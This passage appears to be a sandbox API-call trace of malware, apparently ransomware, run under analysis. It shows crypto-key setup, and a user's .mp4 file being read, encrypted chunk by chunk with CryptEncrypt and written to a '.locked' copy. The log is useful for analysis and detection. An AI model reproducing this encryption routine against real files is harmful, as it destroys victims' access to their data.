(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0125.267] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0125.267] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.267] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0125.267] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.267] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0125.267] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0125.267] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.267] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0125.267] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.267] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0125.267] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0125.267] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.267] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0125.267] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.267] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0125.267] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0125.267] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.267] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0125.267] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0125.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0125.268] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.268] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0125.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0125.268] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.268] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.268] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.268] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.268] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.268] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.268] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.269] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.269] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.269] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.269] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0125.270] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e027a0) returned 1 [0125.271] CryptImportKey (in: hProv=0x8e027a0, pbData=0x6ae5d14, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e850b8) returned 1 [0125.271] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.271] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.271] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.271] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.271] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.274] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4")) returned 0x20 [0125.274] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4")) returned 0x20 [0125.274] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.274] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.275] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.275] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.275] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0125.275] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.276] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.276] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0125.276] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0125.277] GetFileType (hFile=0x874) returned 0x1 [0125.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0125.277] GetFileType (hFile=0x874) returned 0x1 [0125.277] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.277] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe67c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0125.278] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.278] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.278] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.278] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked", lpFilePart=0x0) returned 0x5e [0125.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0125.278] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0125.279] GetFileType (hFile=0x878) returned 0x1 [0125.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0125.279] GetFileType (hFile=0x878) returned 0x1 [0125.279] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.279] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x6b00ae0 | out: pbBuffer=0x6b00ae0) returned 1 [0125.280] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.319] CryptDuplicateKey (in: hKey=0x8e850b8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e84c78) returned 1 [0125.319] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.319] CryptSetKeyParam (hKey=0x8e84c78, dwParam=0x4, pbData=0x6b01e98*=0x1, dwFlags=0x0) returned 1 [0125.319] CryptSetKeyParam (hKey=0x8e84c78, dwParam=0x1, pbData=0x6b01e64, dwFlags=0x0) returned 1 [0125.319] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\xee43\xbd77\x130f\x1c63\x112f\xf0f1\xdde\xb55d\xcd98\xcf99\xf2b2\xfcb9\xb804\xe158\xaee9\x5444\x6361\x3935\x3031\x6461\x6538\x3332\x6334\x3261\xe0") returned 0x0 [0125.320] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.320] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.320] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.320] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.320] ReadFile (in: hFile=0x874, lpBuffer=0x6b05420, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6b05420*, lpNumberOfBytesRead=0x99ae9fc*=0x14000, lpOverlapped=0x0) returned 1 [0125.321] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b1942c*, pdwDataLen=0x99ae9f0*=0x14000, dwBufLen=0x14000 | out: pbData=0x6b1942c*, pdwDataLen=0x99ae9f0*=0x14000) returned 1 [0125.321] WriteFile (in: hFile=0x878, lpBuffer=0x6b00bf4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6b00bf4*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0125.322] WriteFile (in: hFile=0x878, lpBuffer=0x6b1a418*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6b1a418*, lpNumberOfBytesWritten=0x99ae9d4*=0x13014, lpOverlapped=0x0) returned 1 [0125.324] ReadFile (in: hFile=0x874, lpBuffer=0x6b05420, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6b05420*, lpNumberOfBytesRead=0x99ae9fc*=0xcb9, lpOverlapped=0x0) returned 1 [0125.324] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b2d450*, pdwDataLen=0x99ae9f0*=0xcb0, dwBufLen=0xcb0 | out: pbData=0x6b2d450*, pdwDataLen=0x99ae9f0*=0xcb0) returned 1 [0125.324] ReadFile (in: hFile=0x874, lpBuffer=0x6b05420, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6b05420*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0125.324] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b2e178*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x6b2e178*, pdwDataLen=0x99aea50*=0x10) returned 1 [0125.324] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b2e1ac*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x6b2e1ac*, pdwDataLen=0x99aea58*=0x10) returned 1 [0125.324] WriteFile (in: hFile=0x878, lpBuffer=0x6b00bf4*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x6b00bf4*, lpNumberOfBytesWritten=0x99aea28*=0xcc0, lpOverlapped=0x0) returned 1 [0125.324] CloseHandle (hObject=0x878) returned 1 [0125.334] CloseHandle (hObject=0x874) returned 1 [0125.334] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.334] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.334] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x17, 